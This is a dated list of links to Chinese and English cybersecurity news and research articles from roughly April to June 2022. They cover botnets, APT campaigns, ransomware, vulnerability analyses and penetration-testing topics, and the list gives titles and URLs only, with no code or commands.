[双平台挖矿僵尸网络Sysrv-hello加持新漏洞再度来袭](https://www.anquanke.com/post/id/271672) - 4.12 [CVE-2021-22214 GITLAB SSRF 未授权漏洞](https://www.anquanke.com/post/id/271555) - 4.13 [微软 Windows 受到 Hafnium 恶意软件 “Tarrask” 的集团化攻击](https://hackernews.cc/archives/38202) - 4.13 [乌克兰宣称挫败了 Sandworm 黑客组织想要攻击该国能源供应商的企图](https://hackernews.cc/archives/38197) - 4.13 [Zscaler:伪装成电报应用程序的 FFDroider 恶意软件会窃取社交媒体账号](https://hackernews.cc/archives/38185) - 4.13 [China-linked Hafnium APT leverages Tarrask malware to gain persistence](https://securityaffairs.co/wordpress/130167/apt/tarrask-malware-persistence-technique.html) - 4.13 [余弦:区块链黑暗森林自救手册](https://paper.seebug.org/1881/) - 4.13 [基于机器学习的自动化网络流量分析](https://www.freebuf.com/articles/network/328526.html) - 4.13 [新威胁:闷声发大财的Fodcha僵尸网络](https://blog.netlab.360.com/men-sheng-fa-da-cai-fodchajiang-shi-wang-luo/) - 4.14 [Check Point Research detects Vulnerability in the Rarible NFT Marketplace, Preventing Risk of Account Takeover and Cryptocurrency Theft](https://research.checkpoint.com/2022/check-point-research-detects-vulnerability-in-the-rarible-nft-marketplace-preventing-risk-of-account-take-over-and-cryptocurrency-theft/) - 4.14 [Elementor WordPress 插件存在漏洞,可能影响 50 万个站点](https://www.freebuf.com/news/328857.html) - 4.14 [洋葱式信息安全观察:黄赌情报技术基础](https://www.sec-un.org/%e6%b4%8b%e8%91%b1%e5%bc%8f%e4%bf%a1%e6%81%af%e5%ae%89%e5%85%a8%e8%a7%82%e5%af%9f%ef%bc%9a%e9%bb%84%e8%b5%8c%e6%83%85%e6%8a%a5%e6%8a%80%e6%9c%af%e5%9f%ba%e7%a1%80/) - 4.14 [CISA 发布 AA22-103A 新警报:警惕针对 ICS/SCADA 设备的 APT 网络攻击](https://hackernews.cc/archives/38215) - 4.15 [超过 350 万俄罗斯互联网用户的账户被攻破 增长速度冠绝全球](https://hackernews.cc/archives/38219) - 4.15 [俄乌信息技术供应链制裁中的认知“谜团”观察](http://blog.nsfocus.net/way-exp/) - 4.15 [新型Enemybot DDoS僵尸网络借用Mirai和Gafgyt攻击代码](https://www.freebuf.com/news/329177.html) - 4.15 [11 个步骤完美排查服务器是否被入侵](https://www.secpulse.com/archives/177095.html) - 4.15 [新的Fodcha DDoS僵尸网络每天针对100多名受害者](https://www.anquanke.com/post/id/272059) - 4.16 [Threat actors target the Ukrainian gov with IcedID malware](https://securityaffairs.co/wordpress/130250/cyber-warfare-2/icedid-against-ukraine-gov-agencies.html) - 4.18 [小程序抓包&反编译测试从0到1](https://www.secpulse.com/archives/177209.html) - 4.18 [渗透测试之地基服务篇:无线攻防之wifi钓鱼破解(下)](https://www.freebuf.com/articles/wireless/327992.html) - 4.18 [Enemybot, a new DDoS botnet appears in the threat landscape](https://securityaffairs.co/wordpress/130291/cyber-crime/enemybot-botnet-ddos.html) - 4.18 [从电信网络诈骗角度剖析,诈骗资金是如何流转的?](https://www.freebuf.com/articles/paper/329193.html) - 4.19 [连绵不断,Anonymous组织持续对俄发动进攻](https://www.freebuf.com/news/329471.html) - 4.19 [一起针对韩国多个机构的窃密攻击活动分析](https://www.secpulse.com/archives/177321.html) - 4.19 [新发现的零点击iPhone漏洞被NSO间谍软件利用](https://www.freebuf.com/articles/329547.html) - 4.19 [新的暗网市场 Industrial Spy 正在出售数据](https://www.freebuf.com/news/329494.html) - 4.19 [公有云网络安全威胁情报(202203)](https://blog.netlab.360.com/public-cloud-threat-intelligence-202203/) - 4.20 [警惕!加泰罗尼亚政治家活动家受间谍软件攻击](https://www.freebuf.com/articles/329814.html) - 4.20 [新型DDoS攻击泛滥: 利用中间盒的TCP反射放大攻击分析](https://www.anquanke.com/post/id/272193) - 4.20 [针对DVR设备的新BotenaGo恶意软件变种](https://www.freebuf.com/news/329769.html) - 4.20 [GitHack任意文件写入漏洞预警与修复方案](https://www.secpulse.com/archives/177491.html) - 4.20 [从Spring RCE 0day(CVE-2022-22965)看黑产利用速度](https://www.anquanke.com/post/id/272190) - 4.21 [解决哥斯拉内存马 pagecontext 的问题](https://paper.seebug.org/1885/) - 4.21 [双向认证APP自吐证书密码与抓包](https://www.secpulse.com/archives/177572.html) - 4.21 [红队技术-父进程欺骗(T1134)](https://www.secpulse.com/archives/177541.html) - 4.21 [源海拾贝|科恩二进制文件自动化静态漏洞检测工具正式开源](https://www.anquanke.com/post/id/272334) - 4.21 [Emotet僵尸网络切换到64位模块,增加活动](https://www.anquanke.com/post/id/272335) - 4.21 [CVE-2022-21882 Win32k内核提权漏洞深入分析](https://www.anquanke.com/post/id/272305) - 4.22 [一款家用新冠检测电子试剂盒存在漏洞 可让用户伪造结果](https://hackernews.cc/archives/38346) - 4.22 [普通人是如何不知不觉参与犯罪团伙“洗钱”的?带你了解黑钱“洗白”过程](https://www.anquanke.com/post/id/272461) - 4.22 [国家计算机病毒应急处理中心披露——美国中央情报局CIA“蜂巢”网络武器平台分析报告](https://www.anquanke.com/post/id/272447) - 4.22 [企业安全攻击面分析工具](https://www.secpulse.com/archives/177632.html) - 4.22 [勒索病毒种类及加密方式](https://www.secpulse.com/archives/177621.html) - 4.22 [ALAC音频格式存漏洞,全球超半数 Android 用户隐私受威胁](https://www.freebuf.com/news/330582.html) - 4.22 [从第一代到第五代,App加固技术详解](https://www.freebuf.com/articles/es/329563.html) - 4.24 [docker 利用特权模式逃逸并拿下主机](https://www.anquanke.com/post/id/272400) - 4.24 [How to recover files encrypted by Yanlouwang](https://securelist.com/how-to-recover-files-encrypted-by-yanlouwang/106332/) - 4.24 [挖矿病毒“盯上”了 Docker 服务器](https://www.freebuf.com/news/330794.html) - 4.25 [对俄罗斯宣战以来,匿名者累计泄露5.8TB数据](https://www.freebuf.com/news/330955.html) - 4.25 [Check Point Research detects vulnerability in the Everscale blockchain wallet, preventing cryptocurrency theft](https://research.checkpoint.com/2022/check-point-research-detects-vulnerability-in-the-everscale-blockchain-wallet-preventing-cryptocurrency-theft/) - 4.26 [基于中间盒的TCP反射放大攻击研究与实战分析](http://blog.nsfocus.net/tcp-use/) - 4.26 [Mssql绕过360拿到webshell](https://www.secpulse.com/archives/177991.html) - 4.26 [疑似蔓灵花APT组织伪装多国身份攻击孟加拉国](https://www.anquanke.com/post/id/272572) - 4.26 [谷歌修复了VirusTotal平台的高危RCE漏洞](https://www.freebuf.com/news/331255.html) - 4.26 [美指控朝鲜APT利用新型恶意软件攻击记者](https://www.freebuf.com/news/331237.html) - 4.27 [Dirty Pipe 漏洞报告全文翻译](https://www.freebuf.com/vuls/324275.html) - 4.28 [Goby+AWVS 实现攻击面检测](https://www.secpulse.com/archives/178151.html) - 4.28 [Linux Nimbuspwn漏洞可能允许攻击者部署复杂的威胁](https://www.freebuf.com/news/331572.html) - 4.28 [安卓木马VajraSpy伪装成聊天软件,瞄准巴基斯坦军方](https://www.freebuf.com/articles/network/331461.html) - 4.28 [Emotet恶意软件现在通过Windows快捷方式文件中的PowerShell安装](https://www.anquanke.com/post/id/272660) - 4.29 [Google:2021 年 Play Store 禁止 19 万恶意账户 删除 120 万个恶意 APP](https://hackernews.cc/archives/38427) - 4.29 [链上追踪:洗币手法科普之波场 TRON](https://www.freebuf.com/articles/blockchain-articles/331629.html) - 4.29 [NPS内网穿透工具使用详解](https://www.secpulse.com/archives/178204.html) - 4.29 [攻击者劫持大量WordPress网站,对乌克兰进行DDoS攻击](https://www.freebuf.com/articles/331760.html) - 4.29 [最新全球网络攻击事件大盘点-政府&企业](https://www.freebuf.com/articles/others-articles/331600.html) - 0x04 - 5.3 [A DNS flaw impacts a library used by millions of IoT devices](https://securityaffairs.co/wordpress/130865/security/dns-vulnerability.html) - 5.4 [新的大黄蜂恶意软件在网络攻击中取代了康蒂的BazarLoader](https://www.anquanke.com/post/id/272730) - 5.5 [“请问,俄乌冲突将如何影响半岛局势?” APT组织Kimsuky近期定向攻击活动分析](http://blog.nsfocus.net/apt-kimsuky-3/) - 5.5 [Yakit & HTB: BountyHunter 从战场实况到武器化](https://www.freebuf.com/sectool/331798.html) - 5.5 [从 PWN2OWN CVE-2022-27666 看内核页风水](https://paper.seebug.org/1889/) - 5.5 [CVE-2022-21882 Win32k 内核提权漏洞深入分析](https://paper.seebug.org/1888/) - 5.5 [设备接管风险警告!F5发现一个关键BIG-IP远程执行漏洞](https://www.freebuf.com/news/332097.html) - 5.5 [DNS曝高危漏洞,影响数百万物联网设备](https://www.freebuf.com/news/332069.html) - 5.6 [App加固的种类甄别与侦查](https://www.secpulse.com/archives/178347.html) - 5.6 [死灰复燃!新型REvil勒索软件在野攻击活动分析](https://www.freebuf.com/articles/paper/332088.html) - 5.6 [通过手动给upx去壳简单了解逆向](https://www.anquanke.com/post/id/272639) - 5.6 [“8220”挖矿组织活动分析](https://www.freebuf.com/articles/paper/332089.html) - 5.6 [Experts Uncover New Espionage Attacks by Chinese 'Mustang Panda' Hackers](https://thehackernews.com/2022/05/experts-uncover-new-espionage-attacks.html) - 5.6 [数百万用户受影响,杀毒软件 Avast 中潜藏近 10 年的漏洞被披露](https://hackernews.cc/archives/38494) - 5.6 [欧洲刑警组织:Deepfakes 对网络安全和社会的威胁越来越大](https://hackernews.cc/archives/38488) - 5.6 [Hackers Using PrivateLoader PPI Service to Distribute New NetDooka Malware](https://thehackernews.com/2022/05/hackers-using-privateloader-ppi-service.html) - 5.7 [乌克兰 IT 军团和匿名者组织,持续攻击俄罗斯实体](https://www.freebuf.com/news/332348.html) - 5.8 [Brida入门](https://www.anquanke.com/post/id/272868) - 5.9 [英国 NHS 员工电子邮件被黑客挟持,用于发送钓鱼邮件](https://hackernews.cc/archives/38547) - 5.9 [农业机械巨头爱科遭勒索攻击,美国种植季拖拉机供应受影响](https://hackernews.cc/archives/38534) - 5.9 [从防御者视角来看APT攻击](https://www.freebuf.com/articles/network/332382.html) - 5.9 [北京健康宝被网络攻击背后的数据分析](https://blog.netlab.360.com/404/) - 5.10 [无线电安全攻防之GPS定位劫持](https://www.freebuf.com/articles/wireless/326829.html) - 5.10 [2021年度网络犯罪报告:勒索软件三大顶级变种势头不减](https://www.freebuf.com/articles/network/332417.html) - 5.10 [关于bypassuac的探究](https://www.secpulse.com/archives/178718.html) - 5.11 [Web应用隔离防护之自动化扫描与攻击](https://www.secpulse.com/archives/178915.html) - 5.11 [Lazarus武器库更新:Andariel近期攻击样本分析](https://www.freebuf.com/articles/paper/332507.html) - 5.11 [“透明部落”利用走私情报相关诱饵针对印度的攻击活动分析](https://www.freebuf.com/articles/paper/332600.html) - 5.12 [注意!Tellyouthepass勒索病毒正在传播!](https://www.secpulse.com/archives/178999.html) - 5.12 [狩猎发现勒索软件家族VHD,与朝鲜黑客组织Hermit Kingdom有关联](https://www.freebuf.com/articles/network/332587.html) - 5.12 [Frida自吐证书密码](https://www.anquanke.com/post/id/272672) - 5.12 [会“说话”的银行木马](https://www.anquanke.com/post/id/272909) - 5.12 [FluBot Android恶意软件在新的SMS活动中瞄准芬兰](https://www.anquanke.com/post/id/273013) - 5.12 [恶意NPM软件包瞄准德国公司进行供应链攻击](https://www.freebuf.com/news/332868.html) - 5.13 [供应链网络安全潜在威胁及挑战](https://www.freebuf.com/articles/network/332918.html) - 5.13 [正在进行的攻击中发现了新的隐身Nerbian RAT恶意软件](https://www.anquanke.com/post/id/273089) - 5.13 [加拿大空军关键供应商遭勒索攻击,疑泄露 44GB 内部数据](https://hackernews.cc/archives/38726) - 5.13 [APT 网络间谍组织确认由三个独立的团队组成](https://hackernews.cc/archives/38718) - 5.13 [New Nerbian RAT spreads via malspam campaigns using COVID-19](https://securityaffairs.co/wordpress/131221/cyber-crime/nerbian-rat-uses-covid-19-lure.html) - 5.14 [疑似伊朗APT34 使用新后门针对约旦政府发起新一轮攻击](https://www.freebuf.com/articles/network/333137.html) - 5.15 [Operation(龙)EviLoong:“无国界”黑客的电子派对](https://www.freebuf.com/articles/paper/332871.html) - 5.16 [攻击者伪造 WhatsApp 语音通知来窃取信息](https://hackernews.cc/archives/38732) - 5.16 [CDN绕过技术总汇](https://www.secpulse.com/archives/179169.html) - 5.16 [Sysrv 僵尸网络新变种正攻击 Windows及Linux 服务器](https://www.freebuf.com/news/333201.html) - 5.16 [BPFdoor:隐秘的Linux恶意软件绕过防火墙进行远程访问](https://www.anquanke.com/post/id/273138) - 5.16 [小伙浏览涉黄APP,5天被骗142万!受害人称“当时无法控制自己”](https://www.anquanke.com/post/id/273098) - 5.16 [勒索软件Pandora(潘多拉)样本分析报告](https://www.freebuf.com/articles/endpoint/333041.html) - 5.16 [从网空测绘看俄乌战争态势及对我们的启示](https://paper.seebug.org/1901/) - 5.16 [Fortress攻击事件分析](https://www.anquanke.com/post/id/273207) - 5.17 [不破不立:软件供应链的威胁与方案](https://www.secpulse.com/archives/179241.html) - 5.17 [iPhone曝出新的攻击面,即使关闭也可运行恶意软件](https://www.freebuf.com/news/333382.html) - 5.18 [Microsoft Warns of "Cryware" Info-Stealing Malware Targeting Crypto Wallets](https://thehackernews.com/2022/05/microsoft-warns-of-cryware-info.html) - 5.18 [Operation Dragon Breath(APT-Q-27):针对线上赌博行业的降维打击](https://www.freebuf.com/articles/paper/333253.html) - 5.18 [#ALHACK: One codec to hack the whole world](https://research.checkpoint.com/2022/bad-alac-one-codec-to-hack-the-whole-world/) - 5.18 [智能汽车曝出重大漏洞,黑客10秒开走特斯拉](https://www.freebuf.com/news/333479.html) - 5.18 [警惕间谍软件!逾200 Playstore应用程序或存在风险](https://www.freebuf.com/news/333470.html) - 5.18 [技术干货 | 恶意Bot流量的检测分析与防护](https://www.anquanke.com/post/id/273031) - 5.19 [又一僵尸网络源代码开源,KekSec组织武器库再添新武器](http://blog.nsfocus.net/keksec-enemybot/) - 5.19 [Twisted Panda: Chinese APT espionage operation against Russian’s state-owned defense institutes](https://research.checkpoint.com/2022/twisted-panda-chinese-apt-espionage-operation-against-russians-state-owned-defense-institutes/) - 5.19 [利用gateway-api,我支配了kubernetes | 高级攻防05](https://www.secpulse.com/archives/179415.html) - 5.20 [信捷PLC编程软件zip slip漏洞:CVE-2021-34605研究](https://www.freebuf.com/vuls/333617.html) - 5.20 [解读《2022年Q1手机安全状况报告》,移动黑灰产发展趋势(上篇)](https://www.anquanke.com/post/id/273380) - 5.20 [关于恶意邮件的防范及处置措施](https://www.freebuf.com/articles/neopoints/333805.html) - 5.20 [虚假广告广泛撒网,你被钓鱼了吗?](https://www.freebuf.com/articles/blockchain-articles/333670.html) - 5.20 [关于蜜罐你不知道的事](https://www.anquanke.com/post/id/273209) - 5.20 [针对macOS平台的远控木马oRAT](https://www.freebuf.com/articles/network/333541.html) - 5.23 [FEGtoken遭受攻击,损失超130万美元事件分析](https://www.anquanke.com/post/id/273347) - 5.23 [终端安全 | Intent重定向漏洞分析](https://www.freebuf.com/vuls/333814.html) - 5.23 [谷歌:Predator间谍软件使用零日漏洞感染Android设备](https://www.freebuf.com/news/333988.html) - 5.23 [基于深度学习的主机操作系统识别](https://www.anquanke.com/post/id/273394) - 5.23 [俄最大银行遭到最严重 DDoS 攻击,普京称正经历“信息空间战争”](https://hackernews.cc/archives/38882) - 5.24 [Microsoft warns of new highly evasive web skimming campaigns](https://securityaffairs.co/wordpress/131625/hacking/web-skimming-attacks.html) - 5.24 [协议层安全相关《http请求走私与CTF利用》](https://www.secpulse.com/archives/179712.html) - 5.24 [奥地利、爱沙尼亚重要机构或正成为俄黑客目标](https://www.freebuf.com/articles/334103.html) - 5.24 [实战 | 记一次反制骗子的钓鱼网站渗透经历](https://www.secpulse.com/archives/179631.html) - 5.25 [揭秘!网络诈骗催生下的秒拨IP黑产及其背后网罗的“猎物”](https://www.anquanke.com/post/id/273524) - 5.25 [论新一代欺骗防御战术在实战攻防过程的定位及使用场景](https://www.freebuf.com/articles/endpoint/333925.html) - 5.25 [CVE-2022-26809 RPC 高危漏洞复现与分析](https://www.anquanke.com/post/id/273468) - 5.25 [MSF监听之加密流量下的后门上线](https://www.freebuf.com/articles/network/333934.html) - 5.26 [超过 380,000 个 Kubernetes API 服务器面临一系列攻击](https://hackernews.cc/archives/38992) - 5.26 [解读《2022年Q1手机安全状况报告》,移动黑灰产发展趋势(中篇)](https://www.anquanke.com/post/id/273498) - 5.26 [微软警告 Linux 木马 XorDdos 攻击激增,主要针对云、物联网](https://hackernews.cc/archives/38990) - 5.26 [ChromeLoader 恶意软件激增,恐将威胁全球浏览器](https://hackernews.cc/archives/38983) - 5.27 [GitHub saved plaintext passwords of npm users in log files, post mortem reveals](https://www.theregister.com/2022/05/27/github_publishes_a_post_mortem/) - 5.27 [美国政府发布 5G 安全评估指南](https://hackernews.cc/archives/39080) - 5.27 [Third-Party Scripts on Websites Present a 'Broad & Open' Attack Vector](https://www.darkreading.com/application-security/third-party-scripts-websites-broad-open-attack-vector) - 5.27 [新报告指出美国政府缺乏关于勒索软件攻击的全面数据](https://hackernews.cc/archives/38995) - 5.27 [RSA创新沙盒盘点|Neosec——面向API安全的SaaS化防护方案](http://blog.nsfocus.net/rsa2022-neose/) - 5.27 [疫情防控压力下,健康码面临的安全风险分析及应对措施](https://www.anquanke.com/post/id/273330) - 5.28 [Metastealer 接棒 Racoon stealer 进行窃密](https://www.freebuf.com/articles/network/334412.html) - 5.28 [GitHub: Nearly 100,000 NPM Users’ credentials stolen in the April OAuth token attack](https://securityaffairs.co/wordpress/131733/hacking/100k-npm-credential-github-oauth-breach.html) - 5.28 [Android pre-installed apps are affected by high-severity vulnerabilities](https://securityaffairs.co/wordpress/131726/mobile-2/android-pre-installed-apps-flaws.html) - 5.29 [恶意软件构建工具 KurayStealer 浮出水面](https://www.freebuf.com/articles/network/334414.html) - 5.30 [Protecting Android users from 0-Day attacks](https://blog.google/threat-analysis-group/protecting-android-users-from-0-day-attacks/) - 5.30 [EnemyBot malware adds new exploits to target CMS servers and Android devices](https://securityaffairs.co/wordpress/131783/malware/enemybot-botnet-new-exploits.html) - 5.30 [警惕!KillNet恐于5月30日对意大利发动大规模攻击](https://www.freebuf.com/news/334713.html) - 5.30 [FluBot 移动恶意软件席卷欧洲,安卓苹果都不放过](https://www.freebuf.com/articles/network/334413.html) - 5.30 [微软发现Android 预装应用受高危漏洞影响](https://www.freebuf.com/news/334690.html) - 5.30 [CHAOS勒索病毒分析](https://www.freebuf.com/articles/paper/334499.html) - 5.30 [EnemyBot Linux Botnet Now Exploits Web Server, Android and CMS Vulnerabilities](https://thehackernews.com/2022/05/enemybot-linux-botnet-now-exploits-web.html) - 5.31 [DarkCasino行动:APT组织Evilnum近期攻击事件深入分析](http://blog.nsfocus.net/darkcasino-apt-evilnum/) - 5.31 [XLoader Botnet: Find Me If You Can](https://research.checkpoint.com/2022/xloader-botnet-find-me-if-you-can/) - 5.31 [活跃的Kthmimu挖矿木马分析](https://www.secpulse.com/archives/180203.html) - 5.31 [APT-C-23新型变种揭秘](https://www.anquanke.com/post/id/273722) - 5.31 [WhatsApp 新骗局曝光,可劫持用户账户](https://www.freebuf.com/news/334842.html) - 0x05 - 6.1 [FluBot Android Spyware Taken Down in Global Law Enforcement Operation](https://thehackernews.com/2022/06/flubot-android-spyware-taken-down-by.html) - 6.1 [DedeCMS文件上传漏洞分析](https://www.anquanke.com/post/id/273721) - 6.2 [New XLoader Botnet version uses new techniques to obscure its C2 servers](https://securityaffairs.co/wordpress/131860/cyber-crime/xloader-botnet-obscures-c2.html) - 6.2 [Vulnerability within the UNISOC baseband opens mobile phones communications to remote hacker attacks](https://research.checkpoint.com/2022/vulnerability-within-the-unisoc-baseband/) - 6.2 [找出隐形资产–利用Hosts碰撞突破边界](https://www.secpulse.com/archives/180374.html) - 6.2 [Telegraph在网络钓鱼中或早已滥用成灾](https://www.freebuf.com/articles/335131.html) - 6.2 [二进制固件函数劫持术-DYNAMIC](https://www.secpulse.com/archives/180352.html) - 6.3 [慢雾:NFT 项目 verb 钓鱼网站分析](https://www.freebuf.com/articles/blockchain-articles/335101.html) - 6.3 [浏览器自动化框架沦为攻击者的工具](https://www.freebuf.com/articles/web/335040.html) - 6.3 [摩诃草组织以巴基斯坦相关政府机构文件为诱饵的攻击活动分析](https://www.freebuf.com/articles/paper/334933.html) - 6.4 [LuoYu APT delivers WinDealer malware via man-on-the-side attacks](https://securityaffairs.co/wordpress/131921/apt/luoyu-apt-windealer.html) - 6.5 [“猎图行动”:针对NFT艺术家的窃密活动分析](https://www.freebuf.com/articles/paper/335191.html) - 6.5 [CVE-2022-26134:Confluence OGNL 注入漏洞通告](https://www.anquanke.com/post/id/273901) - 6.6 [一个excel邮件攻击样本的简要分析](https://www.freebuf.com/articles/network/335155.html) - 6.6 [浅谈云函数的利用面](https://xz.aliyun.com/t/9502) - 6.6 [Xepor:一款针对逆向工程和安全分析的Web路由框架](https://www.freebuf.com/articles/security-management/335274.html) - 6.6 [CVE-2022-30190 (MSDT) 远程代码执行漏洞分析](https://www.anquanke.com/post/id/273899) - 6.6 [2021年,苹果阻止了160万个欺诈用户的应用程序](https://www.freebuf.com/news/335320.html) - 6.6 [CVE-2022-26134 Confluence OGNL RCE 漏洞深入分析和高版本绕过沙箱实现命令回显](https://paper.seebug.org/1912/) - 6.6 [Shining the Light on Black Basta](https://research.nccgroup.com/2022/06/06/shining-the-light-on-black-basta/) - 6.7 [多平台 APT 攻擊瞄準線上博弈網站](https://blog.trendmicro.com.tw/?p=72523) - 6.7 [浅谈设备指纹技术和应用](https://www.secpulse.com/archives/180489.html) - 6.8 [汽车以太网协议之 SOME/IP(上)](http://blog.nsfocus.net/some-ip-1/) - 6.8 [新型活跃Mirai样本分析-“老树新花”IOT僵尸网络变种TVT_NVMS-9000活跃](https://www.secpulse.com/archives/180578.html) - 6.8 [Jigsaw勒索软件分析](https://www.secpulse.com/archives/180571.html) - 6.9 [ Symbiote: A New, Nearly-Impossible-to-Detect Linux Threat](https://blogs.blackberry.com/en/2022/06/symbiote-a-new-nearly-impossible-to-detect-linux-threat) - 6.9 [攻击面管理(ASM)技术详解和实现](https://www.anquanke.com/post/id/274004) - 6.9 [恶意软件正”借壳“知名清理程序CCleaner进行传播](https://www.freebuf.com/news/335665.html) - 6.9 [Discover 闪电贷攻击事件分析](https://www.anquanke.com/post/id/274003) - 6.10 [警惕!Emotet 新变体正从 Google Chrome 中窃取你的信用卡信息](https://hackernews.cc/archives/39344) - 6.10 [美国司法部查封了乌克兰 IT 军的网络攻击资源](https://hackernews.cc/archives/39338) - 6.10 [趋势科技发现古巴勒索软件新变种](https://hackernews.cc/archives/39326) - 6.10 [CVE-2022-1388 F5 BIG-IP iControl REST 处理进程分析与认证绕过漏洞复现](https://paper.seebug.org/1895/) - 6.10 [CVE-2022-0540 Atlassian JIRA 存在认证绕过漏洞影响范围广泛](https://paper.seebug.org/1896/) - 6.10 [澳大利亚通信公司失陷,被利用分发恶意样本](https://www.freebuf.com/articles/network/335682.html) - 6.10 [New Privacy Framework for IoT Devices Gives Users Control Over Data Sharing](https://thehackernews.com/2022/06/new-privacy-framework-for-iot-devices.html) - 6.13 [Iranian Hackers Spotted Using a new DNS Hijacking Malware in Recent Attacks](https://thehackernews.com/2022/06/iranian-hackers-spotted-using-new-dns.html) - 6.13 [【“移动互联网安全”论坛回顾】薛磊:硬件辅助的安卓程序脱壳分析](https://www.inforsec.org/wp/?p=5349) - 6.13 [破解关机的iPhone:漏洞永不休眠](https://www.freebuf.com/articles/mobile/335950.html) - 6.13 [揭秘TAO:美国国家安全局APT-C-40黑客组织幕后黑手](https://www.anquanke.com/post/id/274207) - 6.13 [聊下最近的 CVE-2022-30190](https://paper.seebug.org/1915/) - 6.13 [PACMAN,一种针对 Apple M1 芯片的新攻击技术](https://www.freebuf.com/news/336009.html) - 6.15 [Bumblebee 恶意软件通过电子邮件劫持在韩国传播](https://hackernews.cc/archives/39416) - 6.13 [Chinese 'Gallium' Hackers Using New PingPull Malware in Cyberespionage Attacks](https://thehackernews.com/2022/06/chinese-gallium-hackers-using-new.html) - 6.14 [洞见RSA2022 | 使用原力:利用Shodan对工控系统进行威胁狩猎](http://blog.nsfocus.net/rsa2022-shodan/) - 6.14 [Russia-linked APT targets Ukraine by exploiting the Follina RCE vulnerability](https://securityaffairs.co/wordpress/132227/apt/cert-ua-sandworm-follina-rce.html) - 6.14 [CISA 公布新漏洞,可以远程解锁任意门锁](https://hackernews.cc/archives/39389) - 6.14 [Iranian Spear-Phishing Operation Targets Former Israeli and US High-Ranking Officials](https://research.checkpoint.com/2022/check-point-research-exposes-an-iranian-phishing-campaign-targeting-former-israeli-foreign-minister-former-us-ambassador-idf-general-and-defense-industry-executives/) - 6.14 [WiFi探测正在跟踪、泄露隐私](https://www.freebuf.com/news/336129.html) - 6.14 [俄沙虫组织利用Follina漏洞,入侵乌克兰重点机构](https://www.freebuf.com/news/336151.html) - 6.14 [记一次供应链攻击的应急响应和防御思考](https://www.anquanke.com/post/id/274399) - 6.15 [恶意软件竟被上架谷歌商店,下载次数甚至超200万次](https://www.freebuf.com/news/336280.html) - 6.15 [机架式设备漏洞挖掘](https://paper.seebug.org/1918/) - 6.15 [Kaiser Permanente数据泄露影响7万人](https://www.anquanke.com/post/id/274404) - 6.15 [研究人员披露针对 x86 CPU 的旁道攻击 Hertzbleed](https://www.solidot.org/story?sid=71832) - 6.16 [CodeQL 数据库创建原理分析](https://paper.seebug.org/1921/) - 6.16 [针对CVE-2021-3560 PolicyKit Linux权限提升的新攻击方法 | 高级攻防06](https://www.secpulse.com/archives/181149.html) - 6.16 [邮件巨头Zimbra曝严重漏洞,黑客无需密码即可登录](https://www.freebuf.com/news/336379.html) - 6.16 [虚假私信钓鱼、假冒艺术家、高价转售:常见的NFT骗局](https://www.freebuf.com/articles/others-articles/336162.html) - 6.17 [MetaMask 浏览器扩展钱包 Clickjacking 漏洞分析](https://www.freebuf.com/vuls/336223.html) - 6.17 [构建API调用框架绕过杀软hook](https://www.secpulse.com/archives/181358.html) - 6.17 [CobaltStrike 流量分析与入侵检测](https://paper.seebug.org/1922/) - 6.17 [浅谈 Kubernetes 安全风险 Part.1](https://www.secpulse.com/archives/181287.html) - 6.17 [Chinese Hackers Exploited Sophos Firewall Zero-Day Flaw to Target South Asian Entity](https://thehackernews.com/2022/06/chinese-hackers-exploited-sophos.html) - 6.17 [新的僵尸网络家族Boat和Boota正在进行大规模传播](http://blog.nsfocus.net/boat-booat-0day/) - 6.17 [威胁行为者利用企业滥用微软 Office 365 某功能,对企业发起勒索攻击](https://hackernews.cc/archives/39489) - 6.18 [揭秘TAO:美国国家安全局APT-C-40黑客组织幕后黑手](https://www.anquanke.com/post/id/274510) - 6.18 [Web协议层安全之websocket安全分析](https://www.freebuf.com/articles/web/336291.html) - 6.20 [Lookout Uncovers Android Spyware Deployed in Kazakhstan](https://www.lookout.com/blog/hermit-spyware-discovery) - 6.20 [BRATA Android Malware Gains Advanced Mobile Threat Capabilities](https://thehackernews.com/2022/06/brata-android-malware-gains-advanced.html) - 6.20 [暗象组织:潜藏十年的网络攻击](https://www.secpulse.com/archives/181414.html) - 6.20 [BumbleBee: a new trendy loader for Initial Access Brokers](https://blog.sekoia.io/bumblebee-a-new-trendy-loader-for-initial-access-brokers/) - 6.20 [BRATA Android Malware evolves and targets the UK, Spain, and Italy](https://securityaffairs.co/wordpress/132425/malware/brata-android-malware-evolution.html) - 6.21 [绕过小程序签名验证](https://www.secpulse.com/archives/181594.html) - 6.21 [CVE-2021-31760 Webmin 跨站请求伪造漏洞](https://www.freebuf.com/articles/web/336582.html) - 6.21 [APT 28组织成员被指控入侵北约智库](https://www.freebuf.com/news/336745.html) - 6.21 [“暗象”组织:潜藏十年的网络攻击](https://www.freebuf.com/articles/paper/336524.html) - 6.21 [New ToddyCat APT targets high-profile entities in Europe and Asia](https://securityaffairs.co/wordpress/132482/apt/toddycat-apt.html) - 6.22 [Chinese actor takes aim, armed with Nim Language and Bizarro AES](https://research.checkpoint.com/2022/chinese-actor-takes-aim-armed-with-nim-language-and-bizarro-aes/) - 6.22 [CVE-2020-1472](https://www.freebuf.com/articles/system/336900.html) - 6.22 [CVE-2022-22972 VMware Workspace ONE Access 身份认证绕过漏洞分析](https://www.freebuf.com/vuls/336576.html) - 6.22 [深度揭秘:如何正确识别证书实际控制机构](http://blog.nsfocus.net/ca-ind/) - 6.23 [Chinese Hackers Are Now Using the Nimbda Loader and a New Form of the Yahoyah Trojan](https://heimdalsecurity.com/blog/chinese-hackers-are-now-using-the-nimbda-loader-and-a-new-form-of-the-yahoyah-trojan/) - 6.23 [微软:俄罗斯将加强对乌克兰盟友的网络攻击](https://www.freebuf.com/news/337022.html) - 6.23 [工控安全遭严峻挑战,56个严重漏洞席卷OT 设备](https://www.freebuf.com/news/336969.html) - 6.24 [Cunning Kitten–针对中东相关人士的威胁组织](https://www.freebuf.com/news/337241.html) - 6.24 [confluence-CVE-2022-26134漏洞分析](https://www.secpulse.com/archives/181830.html) - 6.24 [简述APP资产收集与突破抓包限制](https://www.anquanke.com/post/id/275223) - 6.24 [【深蓝实验室天魁战队】WAF的识别、检测、绕过原理与实战案例](https://www.freebuf.com/articles/web/336869.html) - 6.24 [史上最能卷的勒索组织之一,每天工作时间超14小时](https://hackernews.cc/archives/39551) - 6.24 [神秘特工利用跑步 APP 监视以色列军人和绝密基地](https://hackernews.cc/archives/39549) - 6.24 [MEGA 修复了允许解密用户数据的关键漏洞](https://hackernews.cc/archives/39543) - 6.26 [云主机AKSK泄露利用](https://www.freebuf.com/articles/web/337129.html) - 6.27 [攻击者与 ISP 内部人士勾结 在 Android 和 iOS 上散布 Hermit 间谍软件](https://hackernews.cc/archives/39557) 